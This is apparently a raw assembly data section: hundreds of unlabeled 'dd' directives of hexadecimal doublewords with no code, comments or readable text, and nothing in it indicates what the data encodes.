dd 7C91C02Ch, 34E00EA2h, 4C48EDACh, 0C9D31D3Ch, 9C8C0D0Ah
dd 1022D09h, 9854CD04h, 5FB0892h, 1D09ED00h, 0E82314E0h
dd 60EE8D0Ch, 9F1E1430h, 0C11DCD73h, 0BAB46D00h, 60BD672Eh
dd 972928A5h, 0AF3A8C66h, 4AC0A96h, 0FE14F0C7h, 0CD3C7CD0h
dd 0B87E7C8Fh, 2F312CF8h, 0ABC2C0AAh, 974B088Ch, 8C49928h
dd 4080232Ch, 0A7C4AF6Ch, 0B2D9C0A0h, 0BC48AF7Bh, 0BE3750B8h
dd 4089A400h, 78D7103h, 504DE81Ch, 24ECA860h, 0F0049131h
dd 0A50171BFh, 69AE66D0h, 0B882EF39h, 982F5C0Ch, 97061C9Eh
dd 0BD61D9CAh, 53593E88h, 0F44C988Dh, 38DC1B38h, 0BB469E5Fh
dd 0A92B4410h, 7A72E080h, 0AA4DDFCDh, 0C7221510h, 549624B8h
dd 181991F0h, 68710DDEh, 68AD5AB9h, 0A4C20981h, 6C20E772h
dd 2E5032D9h, 444F3330h, 971EA587h, 7985C87Ah, 0EC04A211h
dd 40789130h, 0EADED70Ch, 3999A072h, 49F5D61Ah, 1D26C0B7h
dd 710C06BCh, 584C10ABh, 56C0EE8h, 8C2C8161h, 0BAE398B7h
dd 0C84BC91h, 0EC27813Eh, 0F3203969h, 0C3A49DAh, 0C0BD46F1h
dd 0AF0A529Fh, 0BCCE5969h, 887C3834h, 0BAD908BDh, 0A626D38Ah
dd 3A68C118h, 0D5A8DEA3h, 3BE18C96h, 0EE67D0C0h, 1924BC98h
dd 0AD056CD8h, 7468C58Ah, 30EDF019h, 0B978D9CEh, 0A439BFF9h
dd 1E1A3AA9h, 6F007B09h, 73A0CAEDh, 0F431484Dh, 3B02D12h
dd 0ADCD2C78h, 0B8F19828h, 0F0A06C12h, 0A18BF004h, 0CD30EC81h
dd 4AF31096h, 0CC47BACh, 6C0809CCh, 20D9FD20h, 0E320C048h
dd 95625190h, 582755F1h, 0E8841C0h, 7490A85Fh, 0ECEDD924h
dd 3C052905h, 1861B878h, 0F9023EE6h, 9800379h, 0B490571Fh
dd 0C82B429Fh, 2468DAF1h, 6F261B93h, 4980282Dh, 0CD711FEFh
dd 1280987Bh, 4C0D5EDh, 1F3DD61Ch, 0A0683C15h, 494FD596h
dd 390920A8h, 0AC8F9DCCh, 3C3C22E9h, 67ECF926h, 3C4C5412h
dd 0A9FB39AEh, 70317188h, 0C20DCE1h, 74DF4CEDh, 38238C0Ah
dd 22C70A94h, 0A188F098h, 629FE313h, 1EF97802h, 9D10C120h
dd 0C4DC7477h, 0D02FFDB9h, 0CBA41994h, 0D00280AFh, 21B570AEh
dd 60CFFCB9h, 0BC933C50h, 3E5C9FE0h, 68656263h, 0D842FED9h
dd 28C01862h, 0CD633AACh, 1A40D78h, 614FB8B0h, 20DCF3CCh
dd 104C5638h, 0A0D452C0h, 30AFBBC4h, 79686430h, 6C14010Ah
dd 12B44C4Dh, 900333C9h, 0A0C699ADh, 0F870C80Dh, 0C7AB24E9h
dd 2B341FA0h, 3C93E198h, 99C9925Eh, 0A47CE011h, 0CE3B74CAh
dd 0A25D2A89h, 0A07B8826h, 737FED02h, 4FCFCD6Fh, 28A3A8h
dd 48A0287Ch, 9E00DFC3h, 5E9F3FC0h, 0CA7D6A73h, 0DB286838h
dd 6E159074h, 920DE7Ch, 0E2D3193h, 2EB56194h, 9821F527h
dd 66F30E87h, 0C1AF940Ch, 968E311Ch, 0C7D3960h, 0ABC0A884h
dd 433362C9h, 0AE682E25h, 779C8940h, 0D87A7C00h, 3C1F2FF2h
dd 5D3D99D7h, 0B4D31D4Ch, 5E6B0C87h, 593E85AFh, 0D59E6881h
dd 59E0E420h, 0F0E6D429h, 14679A21h, 5909E446h, 885FA15h
dd 4790C0A3h, 88983A1Dh, 9838CE31h, 44203BC8h, 0EDBC1E84h
dd 0B41DD2Fh, 401A56Fh, 1CA054Ch, 0F470BBC9h, 908CA091h
dd 0A453AD9h, 48D11Dh, 78C37D0h, 5B7CF370h, 551F5018h
dd 78885220h, 1B4A780Ch, 107B700Fh, 8C6233E1h, 10F41918h
dd 48EA6367h, 4000E58Dh, 4458399Fh, 0BC9C1Eh, 7B740B95h
dd 42E7CF1Dh, 0D559EE00h, 655BC404h, 487118BBh, 568A28F0h
dd 580F340Eh, 0DBD063EDh, 0C310BBBAh, 8E1001B4h, 8C7098C3h
dd 61F0D0D5h, 0EC785E63h, 0E5200153h, 6E300CFFh, 0BF888C73h
dd 781B204Ah, 8EF037E1h, 8BC843C0h, 5476B819h, 0E0BA4E38h
dd 38EF5918h, 10E85AA1h, 0CF5B106h, 19E8FBB0h, 18E73F70h
dd 2704B2Dh, 0C8D84D75h, 15513066h, 2F3334E4h, 0E6B0D0D9h
dd 587014C0h, 0D719B459h, 84688040h, 0E7B910B0h, 10206006h
dd 0B0C489EAh, 2A0D5BB8h, 63CDE0A8h, 0E42518C6h, 3E412BE8h
dd 0F2C242BCh, 0E75FB138h, 99979098h, 40CCC702h, 43905028h
dd 0E0E8D847h, 0DACA2113h, 0E9E69186h, 0D8C85048h, 0A0785090h
dd 0CC14870h, 0F047B2ACh, 4F51F109h, 80F23C04h, 125EF04Ch
dd 0B041C0A5h, 0D1183207h, 0F0488761h, 98874D80h, 839B30A9h
dd 58184567h, 8EF0EE33h, 2860CDECh, 6384410h, 0C8B6F0B4h
dd 8A53030h, 0A5125A50h, 0C3F241B8h, 2931185Fh, 50ACEDEEh
dd 132037C0h, 643603D4h, 0C95111BBh, 8C3E2824h, 6A9B008h
dd 50586970h, 1A50A63Eh, 8A087430h, 5490D8A6h, 0B8E0617Eh
dd 4A40CA90h, 0BADA82C4h, 71812C5Fh, 631024FFh, 0ABF0A0A0h
dd 0AD3AB092h, 40702441h, 6050CC21h, 2C6652C9h, 0C05A5114h
dd 2B287012h, 0BD721F60h, 0B10C20A9h, 4830E816h, 500A8C40h
dd 54B0E1AEh, 0CCEDC808h, 0F79163DAh, 0B710D019h, 38258E49h
dd 0AAE16822h, 0F1985CBEh, 0B0BCDE50h, 78D2902h, 7137DF0h
dd 0F1944A75h, 0A4DBE070h, 0D1481A62h, 0AB610E50h, 0DAB007B2h
dd 0AAD0E081h, 1F985EE1h, 52042822h, 3C836AACh, 50300AB3h
dd 0F390E5F7h, 68544CB8h, 2DD17162h, 8C404192h, 7061845Fh
dd 4833BB30h, 0FD41711Ch, 7061780Fh, 1859F004h, 0E42F2B51h
dd 81E5CF70h, 0A61C4372h, 0A2B897E8h, 7A0037ECh, 0BFA14CA3h
dd 3AD88933h, 900E2931h, 9EBD325Ah, 6809004Eh, 0D67DC77Ah
dd 0CCA3DF01h, 54E637DDh, 0CB2CC4h, 2B973AE9h, 0A6D1C7FDh
dd 0D39AC80Fh, 0EB8DCA3h, 0C7E7A929h, 0E9F3C932h, 20E2A133h
dd 9669C2F3h, 0BCA042Ch, 6010B06Fh, 0D3ABE328h, 32E20128h
dd 8F480949h, 34E7FA8h, 2027FFA9h, 4918E470h, 0C468235Dh
dd 0CF08DD4Ch, 4A862AEFh, 0E66DE4Dh, 8F90E908h, 0E3631D74h
dd 0AAEB0881h, 0F7E56CA3h, 18A7808Ah, 104A08A0h, 69083A18h
dd 101762F0h, 8083B662h, 49F947C0h, 7C610CC7h, 15C60014h
dd 0DD4AB27Eh, 0A600253Bh, 90FEE5D9h, 6EDB05Ch, 7754606Dh
dd 153C0863h, 8B41840h, 6EA1410h, 5B7461D8h, 0FEEC08DEh
dd 1A20F4F8h, 513B02FFh, 36B2B45Fh, 0D011F600h, 80D90391h
dd 0A5CD1F5h, 1EFE101Fh, 0A61F6F24h, 0FF57B100h, 7499F1CFh
dd 0ADD133F8h, 0FDC29108h, 1F9A04h, 0F1D01FDCh, 11E8208Fh
dd 7110C661h, 51F0D614h, 20F063C0h, 6835D91Bh, 9C0C10BEh
dd 0FD3D60F5h, 2F52288Ch, 31408058h, 0B7F2400Fh, 2502A63h
dd 0CDB1E10Ch, 0B431A1F7h, 36110884h, 0D354060Dh, 0D5823A60h
dd 27E2310Ch, 9CD2068h, 42F158A9h, 29B5118Ch, 8C3C260h
dd 730EB451h, 0B178C380h, 50372B81h, 0EAC6807Ch, 890D820h
dd 4363D411h, 0A149FA98h, 8041ABD1h, 98C96B1h, 71184A8Eh
dd 0BE1120C0h, 151CF10h, 67B45AE3h, 2360428Eh, 0EF080200h
dd 20230622h, 0D05C7625h, 7034DA40h, 1B08C38Ah, 5789D1EFh
dd 29608C1Ch, 4007B801h, 51802E2Bh, 71E8C2BFh, 88862533h
dd 0F120086Eh, 4C112244h, 51E0C661h, 28952C8Eh, 8B28B491h
dd 0B27128ACh, 0F0F128B4h, 0DC41FEACh, 0D108F159h, 0E111BF5Fh
dd 3104F138h, 0D1012D02h
dd 9847114Fh, 7C295DF5h, 1BE57C42h, 0BD70F909h, 1A780662h
dd 835124F0h, 0A6358C58h, 2165A508h, 0E01DBF90h, 0EDEC250Fh
dd 7CF3D9B1h, 900561F9h, 1F6EE51h, 0C05A5D0Dh, 0CF055A11h
dd 435C990h, 0B8812EA4h, 29F462D4h, 88446374h, 985065F1h
dd 0A4A142A0h, 71702064h, 48F7DB20h, 0D112847Fh, 0D2284DECh
dd 8830A388h, 3849A562h, 37486230h, 88E928FCh, 11263112h
dd 0AA14282Ah, 50CF2446h, 0CA8D28Ah, 9C88FBC1h, 9824F356h
dd 8E478D90h, 0D480F077h, 0F5A7097Fh, 0E8015E71h, 1D9E4D1h
dd 0FC4328BCh, 910812A5h, 0B8101A30h, 0D81D08BEh, 868734Bh
dd 901E3177h, 84E8DA61h, 20F6DE2Bh, 3DB0E40h, 30636BF2h
dd 69F75805h, 0BF381870h, 9112F701h, 105C7975h, 0C0D840A3h
dd 7987E230h, 24D8EA4Dh, 0B6F834C7h, 0B80C18CAh, 0EBD030BCh
dd 0E088F653h, 325241D7h, 0BA719E83h, 35E7008h, 145B838Eh
dd 82985DEh, 4A308D3h, 4128E240h, 0B4FF00B9h, 2A98137Eh
dd 5F605D64h, 7808BB21h, 0FDF70127h, 6F573682h, 11F9D084h
dd 0B689180h, 0AF7F097Ch, 0FAA11380h, 54605B3Eh, 0E434A541h
dd 1527794h, 0D1925AA8h, 10DAB7E8h, 1F386E9h, 646B73A5h
dd 0ED2D9FD9h, 140505Ah, 0F7231E78h, 3D311F5h, 5B7B25A2h
dd 8267A1ECh, 7A06D880h, 0CC0D5264h, 6B0B6E00h, 7E8C7323h
dd 0F0252C7Ch, 2CEF0461h, 6804C6EDh, 1D30F800h, 0B81892A0h
dd 0CC4A007Ah, 0B0388951h, 9739B5C5h, 43C30FD1h, 9F2818h
dd 2A242B4h, 0D407546Bh, 0D9A4A8FDh, 80C35642h, 9CC90EB0h
dd 72100ECh, 3162CFDEh, 0A60187A3h, 4B85F304h, 0E3C4B958h
dd 72B4007Ah, 7DCF8FB3h, 0F20AF646h, 0D4E99851h, 5DC2F39Fh
dd 9320C399h, 95601740h, 0FC5D0ABDh, 0E8450840h, 9CD4003Bh
dd 24B1CD88h, 303C396Dh, 0FAE28A0Ch, 0DE68EE2Ah, 46562CD9h
dd 0C51E0049h, 8353EF98h, 6E410CF3h, 5B50C3C2h, 0AC5CDB2Ah
dd 5102257Ah, 0CF0672B7h, 0B86D40D7h, 2180E364h, 66517AD3h
dd 3F006F1Dh, 31AF1E96h, 0BF4B84h, 0A86597EBh, 7F0F60C4h
dd 1A9B7000h, 4ACC05BEh, 0FC034F5Ah, 0E6D40717h, 404FDF87h
dd 6C085EEAh, 2540C318h, 8BD3CF1Bh, 770010A6h, 0E4E2A442h
dd 6365EEB4h, 1C8F09FBh, 48572000h, 0F26729A4h, 97E90012h
dd 0A26CC41Ah, 8601B66Dh, 42103563h, 0A180FD90h, 52BA0BAh
dd 88003DD1h, 2EF5D48Dh, 41838Bh, 6AB197EAh, 0A204802Ah
dd 48E26B00h, 0C3596E0Ah, 8D020CA0h, 1A48B8F3h, 73BF5F00h
dd 0EDB5E3BCh, 250A3E8Fh, 1A9240F4h, 731F5100h, 58474117h
dd 3771F5Ch, 49883086h, 8B001690h, 0C131539h, 3E4D7324h
dd 0B78F98DEh, 91AE966Dh, 0C50DEC60h, 567B4FB3h, 0ED9F1703h
dd 71F15Eh, 2073E449h, 7F80D86Ch, 0A8653B28h, 2600C798h
dd 0E8768C5Dh, 0A42201CAh, 720E025Ch, 0ECBDE3E1h, 0A0501619h
dd 74BACAh, 0D17C3602h, 0A9A661C0h, 0E6888900h, 46A2EF0Ch
dd 104C0026h, 0F56A8CB2h, 32785447h, 2B41356h, 0CBAC2B9Fh
dd 87FC3165h, 2A69A821h, 146661F0h, 0BD160083h, 0AC4DDF31h
dd 0C8C07AE9h, 0A013F432h, 18040F5Bh, 99E19586h, 0A8715674h
dd 2D2118D9h, 7B5080DEh, 55C4E57Eh, 21D86086h, 11A5D931h
dd 3A79710Dh, 1F0F0E0h, 8C2E0060h, 0B87ABE02h, 911FC96Bh
dd 0D64A4CCBh, 3064A48Eh, 0DB72E460h, 0ED8DE310h, 0FC80E5C8h
dd 0F2FD74B5h, 38E2003Ch, 0A55C26CFh, 2B00A1A6h, 0C706CD77h
dd 0FE9F0B4Bh, 0ED799Bh, 7C53A367h, 0C08F92F5h, 0B5C82000h
dd 0A11B2786h, 0BC74A8EBh, 0E5C01DA5h, 886890A4h, 0C05D9FECh
dd 0E82223AEh, 0D1001E6Dh, 0B405B9DBh, 56035C85h, 99A02825h
dd 1507D378h, 0EAEFBB28h, 897E72h, 0E68F5B7Ah, 0CC0E3145h
dd 301A9384h, 28252B7h, 3C7E2C8Ch, 0A4810E0Ch, 59EC01C9h
dd 0B773D4BCh, 86DE323h, 0F38EAB4h, 607574BCh, 0C9FD6371h
dd 7B610E03h, 34C0410Fh, 4B8FA655h, 0B1674500h, 0ADE53DACh
dd 26160046h, 7FF295F4h, 0A6002132h, 0CA620114h, 1897F73Eh
dd 819798Dh, 4303F4E7h, 6359E2A6h, 8736F05Bh, 86500B1h
dd 92AEA879h, 0A000CAD9h, 0F4B743F3h, 0E8A62047h, 4CC10153h
dd 1694B041h, 8DDCF8A2h, 50C00FE8h, 4CE808F4h, 0F6A50392h
dd 7BD53DD8h, 227447C8h, 0F500BFE0h, 0CF85B54h, 152C7C2Dh
dd 58E9B3F4h, 20620B02h, 2B30073Eh, 0B420C031h, 0BCF6394h
dd 0C073C200h, 12485A9Bh, 43020AE8h, 8054F755h, 19D6625Fh
dd 20867CA4h, 6F2214Bh, 812430EDh, 0B7EC1A00h, 5EC4A459h
dd 97C018D6h, 0AF172833h, 0BE013870h, 0FF7A7FF9h, 0A8DCF864h
dd 23BE2F4h, 0AB50E1E9h, 42D04C96h, 9297220Ah, 0A60A9CF7h
dd 215EC82Ah, 0FE87F69Ch, 42904D60h, 338593B7h, 7350AE72h
dd 57040D5h, 0C13D8D4Bh, 8CC52233h, 2EA9A032h, 0A0170019h
dd 54EFF2D9h, 0C301B056h, 0E4B99429h, 20BC0EFBh, 40CEED9Ch
dd 0EEA0B312h, 1D00E336h, 1461936Ah, 3A8019h, 96D274C3h
dd 26A9A464h, 7F1A0900h, 62289A50h, 2B63006Eh, 7872BADBh
dd 0D00614Dh, 0F15199CBh, 7A65800Eh, 3A1F2EEh, 287CD1D4h
dd 40001660h, 14CCCA79h, 4CB47DAEh, 0AB3A8D02h, 0C6611030h
dd 5D01CCA6h, 0E7DF9329h, 0E13B3AACh, 0B79DC3Eh, 7B33Dh
dd 784FC339h, 60A256F5h, 2C37F8BEh, 610B426Fh, 8C32A463h
dd 0F0082Ah, 0DE192DF3h, 50076F6Dh, 376C1500h, 0E19036C4h
dd 156EEAB4h, 0A0C34609h, 7AAFBC00h, 7FE3D2EBh, 508DF21Fh
dd 743A2100h, 9C5907h, 816180A5h, 0BFDE4F5Fh, 705C38C0h
dd 6E21BEh, 0C60A750Dh, 87DC1CAh, 126D8E03h, 0EBE61ED1h
dd 37E87BC3h, 4098CB17h, 64F3CEDFh, 0A9A13C14h, 5083C4E8h
dd 0F3F58400h, 0FF0EF77Bh, 20581E2Dh, 0ADF48FD9h, 0DE8B009Ah
dd 44C3348Ah, 0CF005478h, 25A1BDA3h, 54CC507Dh, 24123419h
dd 501CB0F4h, 862D1Fh, 44E57337h, 8F3B1C2Bh, 26644906h
dd 28B819BAh, 0D3A432h, 4A6ABFE1h, 8DC90554h, 30001EF8h
dd 4C0CD5DEh, 24BC404h, 0CEA50F8Ah, 4626B6h, 0EAE3940Eh
dd 66B528ADh, 0D800618Ch, 671CCA8h, 0D70A24h, 0E40DEBFEh
dd 5D7F1718h, 0CE811407h, 4CD0C2E0h, 5F9A4C8h, 8C384073h
dd 0A8B04F2Eh, 30116Dh, 0C0784DA0h, 87011493h, 8B619F6Fh
dd 0E4A8E818h, 700018D7h, 0D672344Dh, 7B64B21Fh, 64D1522Dh
dd 0E33033A2h, 4920E1E8h, 0BB810FB7h, 0FE4F01E4h, 90183B04h
dd 7B6084B4h, 79E6921Eh, 0C1178941h, 0F1C48BC4h, 8CAD00BEh
dd 0C37653AAh, 0EAA39AD0h, 93E0E3A3h, 5C906DE1h, 0C680687Ah
dd 8183E385h, 0C4838EAEh, 6A06109Eh, 2F71A890h, 0F0F028h
dd 5D8756BAh, 86D576EDh, 0CB6AA30Ch, 0E3E9210Eh, 5CAF8BFCh
dd 0A4812FCh, 9C85A0Eh, 9F799CA1h, 6AA84C4Dh, 61786F08h
dd 0BD53C293h, 6F7B9400h, 0B16902AEh, 0F9758B63h, 0C89CE080h
dd 91144F01h, 3A5CD59Dh, 680E05ACh, 5820A290h, 8918774h
dd 0CB6DBD5Dh, 0EF403844h, 5FEA8763h, 0A053950Fh, 432D00E3h
dd 14785685h, 0DE84FAD7h, 0E158470Ah, 23CC80F4h, 99E6964Dh
dd 0D193E200h, 3A1A6748h, 24123D28h, 96B7900h, 8086F23Bh
dd 0B42C8228h, 5E44AE04h, 10C0ED67h, 0CFC3969Dh, 14809F89h
dd 0C2FDBB4Dh, 0A9672A00h, 0F5646261h, 0E3F8950Fh, 16EAD107h
dd 78354270h, 0EDD8DC40h, 0E8C7F5h, 58562D21h, 238452D1h
dd 71429000h, 99EAA339h
dd 787B00B6h, 698595B7h, 0F40FECFFh, 0FE98D7h, 3BA1F943h
dd 0BDF008Ah, 61C3D047h, 1E00990Eh, 9CADFA1Ah, 0CD526Ah
dd 62C840C2h, 28875E6Ch, 0A81FC405h, 1088C185h, 0ED5F006Fh
dd 5112A6AEh, 0D10005BBh, 0E4E34F2Fh, 0C1C7206Bh, 846CAE0h
dd 69CF486h, 0E74D1879h, 0AFC60A24h, 6381E875h, 0C023BE6Ch
dd 0B0B61181h, 0D0CD9ED1h, 4C1FA193h, 4D4A33CEh, 19009037h
dd 3D5096Ch, 3ADC0070h, 8F1E16A8h, 4F0041D7h, 9E3B64EBh
dd 77D6AF75h, 0BF870F89h, 0F560B7E2h, 28CBC7E5h, 0CE18300h
dd 189B9C12h, 0C009D00Eh, 0C0482064h, 20AA7AFBh, 677C7E1Eh
dd 0F4861282h, 0B0A2C3E9h, 0D551E7h, 0CAA31F16h, 0EB6A8C88h
dd 8186373Ch, 4771DA5Ch, 0C6D0DF59h, 9C20C0CBh, 6AF33741h
dd 2EC8A38h, 7CB12357h, 0AFDCE059h, 0AE8500F7h, 11CCE249h
dd 4F01BFE7h, 3F20E5FEh, 86E93008h, 682A2086h, 58C1A90Eh
dd 0AF89D374h, 20984CB0h, 0A860C49Fh, 74570650h, 0B10E675Fh
dd 601481F5h, 985AE013h, 67AD3D07h, 35700920h, 0C99B6h
dd 0E8C2A1C1h, 5F51033Ch, 4581301h, 0C30E2490h, 3868BCCCh
dd 0EF006BDDh, 311AD6AEh, 0EC0A56F4h, 0BB73A793h, 64DA8100h
dd 1741545h, 0FB7595B9h, 4892681Bh, 771FC304h, 580212BCh
dd 2054A665h, 0A01E022Fh, 0D00C4AF1h, 3156A004h, 1D9202C2h
dd 0B6053F37h, 0E6F32BE3h, 4DE066F0h, 18D2EC30h, 88A904C7h
dd 0ED449EA4h, 1840E938h, 88EA2568h, 21841D10h, 0C508A090h
dd 44944538h, 22360424h, 0E00CA2BCh, 9C8213A8h, 84A2AF10h
dd 1A3C0854h, 2C0CA750h, 375124A8h, 0C305484h, 21CE42F4h
dd 18B395B4h, 5900B822h, 0FB0CE818h, 853C56h, 0C37AF67Fh
dd 1F2D7367h, 172B18C0h, 1634D7E3h, 0AA4C2ECh, 0B48737h
dd 50265E1Fh, 0C8014178h, 0C282BA64h, 388020D9h, 0EBCC9A90h
dd 95504938h, 0ABEC7EC8h, 7429C12Ch, 0FCD9D000h, 16A6B385h
dd 0C6AA68h, 0C3E60F94h, 8C748BF7h, 86E5831h, 89204340h
dd 3B41F07Ch, 8E001926h, 7BFC1C86h, 152A0CCEh, 3D1C4C75h
dd 0F8DEB6C4h, 3B140200h, 0B2744Ah, 4E4FDC8Ch, 0C82EE6A8h
dd 9BFC9700h, 0CBF8F958h, 0ACC20FAFh, 3160E0Ah, 5FF443Ch
dd 0F2137CF8h, 0A8029B98h, 937F6A11h, 101C9408h, 0E0D42BEBh
dd 5586DFh, 71E60699h, 85391E95h, 0A1204C02h, 0BEECCF7Eh
dd 0C79703C0h, 5C70C2E6h, 0EF9E5E80h, 1F71DB0Dh, 0C0D4292Eh
dd 0E1FE0045h, 570C517h, 4E010151h, 0DFAB0D1Ah, 0A0E05C36h
dd 5CA35383h, 71AD1301h, 0C438B807h, 0E200F2D4h, 91329A81h
dd 0ECE58EEh, 0A662539Ch, 0FE11CB80h, 61002FFBh, 33AA56B5h
dd 0A3EA483Fh, 0DF44E0BCh, 0B491491Dh, 105F24h, 96EE8480h
dd 0D0A89CA0h, 2D0028FBh, 2309BFFDh, 2155FD1h, 4E1E80A3h
dd 5897E642h, 0D6DDE888h, 5A804C87h, 7DB12A3h, 26BD0043h
dd 0F07C021Ch, 0A748EED0h, 25B10128h, 753FAD92h, 0C31109Ch
dd 8A405B6Bh, 57B6A302h, 48E2DF82h, 71CB184h, 451906BEh
dd 0E87B43B5h, 0D4D895DBh, 0A4248B0Ch, 59C27425h, 971D1D19h
dd 0A0ED104Fh, 385EE3E7h, 0C1670650h, 0D02FAB14h, 0C232D612h
dd 8CC9CC08h, 3108F1E8h, 8B4B2A01h, 0EFF9E50Fh, 65638050h
dd 6F40013Eh, 0AB215C10h, 0F0AC4A9Ch, 3E07C158h, 0B901E668h
dd 1AE8677Fh, 81942204h, 0DB775B1Eh, 0FD14D426h, 15AB441Ch
dd 84DFDEh, 0ECABFD2Eh, 48F4D12Ah, 0F6B0E8E6h, 42003DEBh
dd 0E718895Fh, 7AE3209Fh, 9CFE04BDh, 3A9666DAh, 0D1DC6E24h
dd 0B9DDF405h, 8AF04E00h, 0E3C162E8h, 5574295Ah, 83594584h
dd 95A18A14h, 0CEA04061h, 0C0015A5h, 43B83E2Ah, 304C76h
dd 9C315438h, 0DA32815Fh, 7BF6F81Fh, 0A46D01B8h, 4C780E15h
dd 0C031819Ch, 0ADC1AA20h, 0D009057Dh, 8843BB7Fh, 4808D0C5h
dd 0B1C6478Bh, 0FC05E86Ah, 0D509759Bh, 15D31A4Bh, 36426264h
dd 0C54C086Ch, 4A3801DCh, 9FB52F54h, 7935860h, 120E2CC9h
dd 816540DAh, 0C91F816h, 6A080C5Ch, 58D8400Eh, 4F62924h
dd 38B9E440h, 0B81101DCh, 5C0150E3h, 0B0FC4A99h, 20C0E3Fh
dd 8C652B8Eh, 0F4934E2Ch, 73D97F0h, 42945814h, 0BA0CE080h
dd 96652C2Dh, 0AF2CF428h, 20D2E821h, 2B820590h, 0BC3F26BBh
dd 0BEB8774h, 70485BAh, 84A86008h, 1FE523B3h, 0A0E0D230h
dd 501C1A00h, 0ABD5CB21h, 91CC030Ah, 3C44B8A8h, 4C55A7C0h
dd 65C620F9h, 80F1DE3Eh, 5D464753h, 0F2E0D023h, 74C076Ah
dd 77C45A5Ch, 0F270A372h, 380050C3h, 133F7345h, 426539h
dd 3C8393F5h, 482E7E0Dh, 0F564618h, 3AF2D8Eh, 8138CD5Ch
dd 800CCE6Ch, 4040BB96h, 2C00037h, 4C12E8B8h, 940E6352h
dd 600BA87Eh, 8786D982h, 0C3BB3677h, 2F3CA8B9h, 0A0BCB1ACh
dd 1D035768h, 27FF480Fh, 9D966013h, 30B0E83Ch, 563831A7h
dd 0C0C0C5E4h, 58432AFCh, 7CDF336Bh, 9038190h, 0E8DA0E3Ch
dd 0E4E11B32h, 78E10897h, 7A1AF45Fh, 0C67E0C00h, 0E08839E3h
dd 5D4D0330h, 2E8EC454h, 0C5C06900h, 4E35D348h, 807F0096h
dd 44CDAE2Fh, 0F600DBE7h, 3CE9882Eh, 1CDFB6E1h, 80A4175Eh
dd 0AC2848A9h, 0DE305C56h, 0B51C78B1h, 30E60E32h, 198091F7h
dd 47E88E44h, 216F2803h, 0B0AB1C0Ch, 0F4DE7Ah, 7626A143h
dd 0EEADA3B5h, 0F5EE200h, 0AA9A9E0Eh, 16BF061h, 556C3EE3h
dd 0CC4389C0h, 9400EF3Bh, 4E2D121Dh, 2AA788h, 0DB095FF2h
dd 0A99D7EFCh, 843FF800h, 0C94A8CC8h, 50680008h, 29B281F2h
dd 65004DA2h, 5EF69BE5h, 797E1153h, 6D4700E0h, 0D914B1B8h
dd 2149DFCh, 191C012h, 1B67C8E7h, 5BE80D60h, 35AA008Eh
dd 0FDD06DC2h, 7300AF7Eh, 0E75F4E0Fh, 0CBDB19h, 25A8D770h
dd 4FE1ECFFh, 0E2915E00h, 2FF33F43h, 6E070030h, 534E5A74h
dd 7A00FE9Eh, 0E12EBBEBh, 0D36071h, 929A2962h, 7C90B226h
dd 8AE6AB13h, 0A33D9900h, 0C50AECh, 0B91428D8h, 3207358Ch
dd 3DD4F43Ch, 0C92B8FDFh, 61C34F41h, 84A61DD7h, 0E9A31CE0h
dd 7E3D54FCh, 0F12E1F73h, 338B03B1h, 0D3A85686h, 0D6075A17h
dd 54D9FEBAh, 80BB2320h, 7B3E00B1h, 569F8697h, 71009527h
dd 0EE93008h, 0E2B6C94Dh, 7C930084h, 3A68CAB3h, 7B791662h
dd 1DC54003h, 80CBB542h, 488C3841h, 7F14AAh, 0E3C3BEF6h
dd 0EFBBB0A0h, 1C6B4C09h, 9B2800DEh, 193DB9h, 6FADD7BEh
dd 2925C55Ch, 0E5A56C00h, 0E7058BF2h, 2DCC0096h, 20A0AEF1h
dd 4A1F06DAh, 0F8C1ED31h, 55668AE1h, 0E39C87D8h, 0B320E4h
dd 52F25B03h, 3F3472D5h, 0E8E80A73h, 0C4F92401h, 0C7D6DBDAh
dd 208CCCh, 29F05FACh, 77EA1C51h, 27328000h, 0A7D304EEh
dd 0FAAD0049h, 0E9AA4705h, 9700AF89h, 0C0AEE688h, 790489Dh
dd 7FC2862Ah, 3DA8F026h, 110018E3h, 0D350AF45h, 1C1430BEh
dd 40B4E506h, 0C1347D65h, 0CB03D10Fh, 0A45688ADh, 9A5BD02Bh
dd 0D4CC006Dh, 13323A63h, 0CA00906Eh, 226BBAA1h, 31D354h
dd 0DCC273E4h, 103FA9DAh, 8309657Ch, 46967Fh, 0F2BD01F0h
dd 524D3D4Bh, 2D5E3301h, 0ECAA434Fh, 75025C82h, 0CF5D590Bh
dd 8D7E606Ch, 0ABC700C8h, 1E03ECDAh, 0C070A033h, 2D0BE900h
dd 0C4847C80h, 86AE005Dh, 3162C72Bh, 3F035950h, 207AD751h
dd 8A54C04Dh, 668200ECh, 0FB9ACF43h, 120FD428h, 60FDE4E7h
dd 57DBD594h, 6BC005Dh, 4EDC2220h, 9300A3B8h, 3E09C538h
dd 9AF849h, 78116816h
dd 0DF74F6CBh, 916C8506h, 480535h, 0BCB1D40Ah, 0CE9C63DBh
dd 4499F600h, 68775F4Dh, 0CB39127Ch, 0A1D003F2h, 2BD80D8Fh
dd 727E1D26h, 0FA293107h, 0E3B010EFh, 0FE201C66h, 0D7F90057h
dd 87D406DBh, 311F4EDAh, 0B507DD35h, 0D30FD3D2h, 0FE681A00h
dd 0EEED283Ch, 10410085h, 0CCD2C5AEh, 4E008E33h, 3EC83697h
dd 2253039h, 0F669D13Ah, 344157DAh, 0F081C48Eh, 0D8459F02h
dd 408C825Dh, 89122Ch, 1E4A788Dh, 2EF1CE13h, 2F5B730Fh
dd 5CC1A0F0h, 0F4921BFh, 0E690ACAAh, 58BB1DC0h, 2400F2AEh
dd 0CBDA790Ah, 8D4750h, 0F6D84443h, 8553695Bh, 8070D53Bh
dd 66D93139h, 51E06Fh, 614D4A0Ah, 75676936h, 0BA90D300h
dd 0CD242363h, 0E7BB003Ch, 6911A91Fh, 4003B52h, 0E093635h
dd 1FA32FFh, 0A6E287DBh, 0E039A1BAh, 4900B27Bh, 45420B5Ah
dd 0D18D22h, 0EFFFBB1Ch, 7B271E20h, 0C50081E0h, 8CF9C0EEh
dd 9D2AB3h, 52ED387Dh, 1E5635ADh, 0C1596600h, 0DA3E92B0h
dd 94F90EB7h, 77025Bh, 6B95C054h, 0D1005153h, 12074F10h
dd 1FD4220h, 0DB4EC26Dh, 0FAF4F97Bh, 0A08CC0DFh, 75AE0038h
dd 8B05F582h, 0CA008C25h, 6118BFA7h, 3B6BDB1h, 0ACB28EC2h
dd 4EE0B482h, 2B0ECE10h, 7D255FB7h, 0BD2F12C0h, 33A75A1h
dd 0CEF0D745h, 86C888D8h, 948E24Bh, 42FF0005h, 0CA63C573h
dd 386A009Ah, 975943E7h, 0F9007E18h, 0C0B39D0h, 9048B3F4h
